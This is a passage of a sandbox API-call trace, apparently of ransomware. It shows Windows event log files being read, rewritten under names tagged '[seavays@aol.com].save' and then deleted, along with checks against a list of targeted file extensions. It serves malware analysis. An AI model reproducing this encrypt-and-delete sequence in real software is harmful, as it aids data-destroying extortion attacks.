dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.310] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0062.310] CloseHandle (hObject=0x34c) returned 1 [0062.310] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0062.310] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.310] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.311] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.311] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.311] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0062.311] GetLastError () returned 0x0 [0062.311] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.314] WriteFile (in: hFile=0x384, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.316] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.316] WriteFile (in: hFile=0x384, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x136, lpOverlapped=0x0) returned 1 [0062.316] SetEndOfFile (hFile=0x384) returned 1 [0062.317] CloseHandle (hObject=0x384) returned 1 [0062.321] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.321] SetEndOfFile (hFile=0x34c) returned 1 [0062.322] CloseHandle (hObject=0x34c) returned 1 [0062.322] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.322] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0062.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.322] lstrlenW (lpString=".doc") returned 4 [0062.322] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.322] lstrlenW (lpString=".docx") returned 5 [0062.322] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.322] lstrlenW (lpString=".pdf") returned 4 [0062.322] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString=".xls") returned 4 [0062.323] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString=".xlsx") returned 5 [0062.323] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.323] lstrlenW (lpString=".ppt") returned 4 [0062.323] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.323] lstrlenW (lpString=".zip") returned 4 [0062.323] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString=".rar") returned 4 [0062.323] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString=".bz2") returned 4 [0062.323] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString=".7z") returned 3 [0062.323] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.323] lstrlenW (lpString=".dbf") returned 4 [0062.323] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.323] lstrlenW (lpString=".1cd") returned 4 [0062.323] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.323] lstrlenW (lpString=".jpg") returned 4 [0062.323] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.323] lstrlenW (lpString=".doc") returned 4 [0062.323] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.323] lstrlenW (lpString=".docx") returned 5 [0062.323] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.323] lstrlenW (lpString=".pdf") returned 4 [0062.323] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString=".xls") returned 4 [0062.324] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString=".xlsx") returned 5 [0062.324] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.324] lstrlenW (lpString=".ppt") returned 4 [0062.324] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.324] lstrlenW (lpString=".zip") returned 4 [0062.324] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString=".rar") returned 4 [0062.324] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString=".bz2") returned 4 [0062.324] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString=".7z") returned 3 [0062.324] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.324] lstrlenW (lpString=".dbf") returned 4 [0062.324] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.324] lstrlenW (lpString=".1cd") returned 4 [0062.324] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0062.324] lstrlenW (lpString=".jpg") returned 4 [0062.324] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.324] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.324] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0062.324] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.325] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0062.325] CloseHandle (hObject=0x34c) returned 1 [0062.325] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0062.325] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.325] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.325] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.325] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.325] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0062.338] GetLastError () returned 0x0 [0062.338] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.864] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.866] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.866] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x14a, lpOverlapped=0x0) returned 1 [0062.866] SetEndOfFile (hFile=0x36c) returned 1 [0062.867] CloseHandle (hObject=0x36c) returned 1 [0062.869] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.869] SetEndOfFile (hFile=0x34c) returned 1 [0062.870] CloseHandle (hObject=0x34c) returned 1 [0062.870] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.871] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0062.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.871] lstrlenW (lpString=".doc") returned 4 [0062.871] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString=".docx") returned 5 [0062.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.872] lstrlenW (lpString=".pdf") returned 4 [0062.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString=".xls") returned 4 [0062.872] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString=".xlsx") returned 5 [0062.872] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.872] lstrlenW (lpString=".ppt") returned 4 [0062.872] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.872] lstrlenW (lpString=".zip") returned 4 [0062.872] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString=".rar") returned 4 [0062.872] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString=".bz2") returned 4 [0062.872] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString=".7z") returned 3 [0062.872] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.872] lstrlenW (lpString=".dbf") returned 4 [0062.872] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.872] lstrlenW (lpString=".1cd") returned 4 [0062.872] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.872] lstrlenW (lpString=".jpg") returned 4 [0062.872] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.872] lstrlenW (lpString=".doc") returned 4 [0062.873] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString=".docx") returned 5 [0062.873] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.873] lstrlenW (lpString=".pdf") returned 4 [0062.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString=".xls") returned 4 [0062.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString=".xlsx") returned 5 [0062.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.873] lstrlenW (lpString=".ppt") returned 4 [0062.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.873] lstrlenW (lpString=".zip") returned 4 [0062.873] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString=".rar") returned 4 [0062.873] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString=".bz2") returned 4 [0062.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString=".7z") returned 3 [0062.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.873] lstrlenW (lpString=".dbf") returned 4 [0062.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.873] lstrlenW (lpString=".1cd") returned 4 [0062.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0062.873] lstrlenW (lpString=".jpg") returned 4 [0062.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.874] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.874] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0062.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.874] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0062.874] CloseHandle (hObject=0x34c) returned 1 [0062.874] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0062.874] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.875] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.875] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.875] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0062.876] GetLastError () returned 0x0 [0062.876] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.878] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.880] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.880] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x144, lpOverlapped=0x0) returned 1 [0062.880] SetEndOfFile (hFile=0x36c) returned 1 [0062.880] CloseHandle (hObject=0x36c) returned 1 [0062.885] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.885] SetEndOfFile (hFile=0x34c) returned 1 [0062.887] CloseHandle (hObject=0x34c) returned 1 [0062.887] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.887] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0062.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.887] lstrlenW (lpString=".doc") returned 4 [0062.887] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.887] lstrlenW (lpString=".docx") returned 5 [0062.887] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.887] lstrlenW (lpString=".pdf") returned 4 [0062.887] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.887] lstrlenW (lpString=".xls") returned 4 [0062.887] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.887] lstrlenW (lpString=".xlsx") returned 5 [0062.888] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.888] lstrlenW (lpString=".ppt") returned 4 [0062.888] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.888] lstrlenW (lpString=".zip") returned 4 [0062.888] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString=".rar") returned 4 [0062.888] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString=".bz2") returned 4 [0062.888] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString=".7z") returned 3 [0062.888] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.888] lstrlenW (lpString=".dbf") returned 4 [0062.888] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.888] lstrlenW (lpString=".1cd") returned 4 [0062.888] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.888] lstrlenW (lpString=".jpg") returned 4 [0062.888] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.888] lstrlenW (lpString=".doc") returned 4 [0062.888] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString=".docx") returned 5 [0062.888] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.888] lstrlenW (lpString=".pdf") returned 4 [0062.888] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString=".xls") returned 4 [0062.888] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.888] lstrlenW (lpString=".xlsx") returned 5 [0062.888] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.889] lstrlenW (lpString=".ppt") returned 4 [0062.889] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.889] lstrlenW (lpString=".zip") returned 4 [0062.889] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.889] lstrlenW (lpString=".rar") returned 4 [0062.889] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.889] lstrlenW (lpString=".bz2") returned 4 [0062.889] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.889] lstrlenW (lpString=".7z") returned 3 [0062.889] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.889] lstrlenW (lpString=".dbf") returned 4 [0062.889] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.889] lstrlenW (lpString=".1cd") returned 4 [0062.889] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0062.889] lstrlenW (lpString=".jpg") returned 4 [0062.889] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.889] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.889] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0062.889] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.890] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0062.890] CloseHandle (hObject=0x34c) returned 1 [0062.890] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0062.890] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.890] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.890] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.890] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.890] CreateFileW 